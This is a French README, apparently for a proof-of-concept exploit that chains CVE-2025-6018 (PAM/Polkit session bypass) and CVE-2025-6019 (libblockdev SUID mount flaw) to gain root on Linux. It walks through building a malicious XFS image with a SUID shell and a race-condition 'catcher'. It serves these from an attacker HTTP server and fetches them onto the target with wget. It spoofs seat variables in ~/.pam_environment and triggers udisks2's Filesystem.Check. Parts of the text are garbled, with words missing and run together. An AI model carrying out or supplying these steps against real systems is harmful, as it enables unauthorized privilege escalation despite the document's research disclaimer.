
Une preuve de concept pour enchaîner CVE-2025-6018 (contournement de session active PAM/Polkit) et CVE-2025-6019 (vulnérabilité SUID Mount dans libblockdev) afin d'obtenir une élévation de privilèges locale (LPE) sur des systèmes Linux vulnérables.
Une preuve de concept robuste pour chaîner CVE-2025-6018 (contournement de session active PAM/Polkit) et CVE-2025-6019 (défaut de montage SUID dans libblockdev) afin d'obtenir un accès root sur les systèmes Linux vulnérables.
Cet outil est destiné uniquement à des fins éducatives et à la recherche en sécurité autorisée. Ne l'utilisez pas sur des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas d'autorisation explicite de test.
Cet exploit enchaîne deux défauts logiques pour élever les privilèges d'un utilisateur standard à root :
Active=yes. Cette astuce convainc le système que l'utilisateur distant est physiquement présent à la console, contournant ainsi les exigences de mot de passe pour les outils de gestion matérielle comme udisks2.libblockdev (utilisée par ) n'applique pas le drapeau de sécurité lors du montage temporaire d'un système de fichiers pour des opérations de maintenance (comme ou ).udisks2nosuidCheckResizeActive=yes de la session pour monter cette image en tant que périphérique loop sans mot de passe.Filesystem.Check. Cela force udisks2 à monter temporairement l'image pour la vérifier. Crucialement, ce montage temporaire ne possède pas nosuid./proc/mounts en temps réel. Dès que le montage temporaire apparaît, il exécute la charge utile SUID avant que le système ne le démonte.Étant donné que la machine cible manque souvent d'outils comme mkfs.xfs ou gcc, nous générons la charge utile localement.
Exécutez le script de construction sur Kali/Parrot :
./build_poc.sh
exploit.img (image XFS de 400 Mo avec shell SUID).catcher (le gagnant de la condition de course).Téléversez les fichiers vers la cible : Démarrez un serveur Python :
python3 -m http.server 80
Sur la machine cible (par exemple, dans /tmp) :
wget http://<YOUR_IP>/exploit.img
wget http://<YOUR_IP>/catcher
chmod +x catcher
Téléchargez le script d'exploitation :
Enregistrez le contenu de exploit.sh de ce dépôt sur la machine cible.
Exécutez l'exploit :
chmod +x exploit.sh
./exploit.sh
Profitez du root : Le script configurera automatiquement le périphérique loop, démarrera le catcher en arrière-plan et déclenchera la vulnérabilité. Vous devriez être immédiatement placé dans un shell root.
Si le script demande un mot de passe, votre session SSH n'est pas active. Correctif :
~/.pam_environment :
echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment
loginctl show-session $XDG_SESSION_ID | grep Active. Il doit afficher Active=yes.La fenêtre vulnérable ne dure que quelques millisecondes.
build_poc.sh), et non une boucle Bash.Filesystem.Check, qui est plus fiable que Resize.build_poc.sh (côté attaquant)Automatise la création de l'image malveillante et compile les binaires statiques.
exploit.sh (côté cible)L'orchestrateur. Il gère :
catcher en arrière-plan.udisksctl.Filesystem.Check.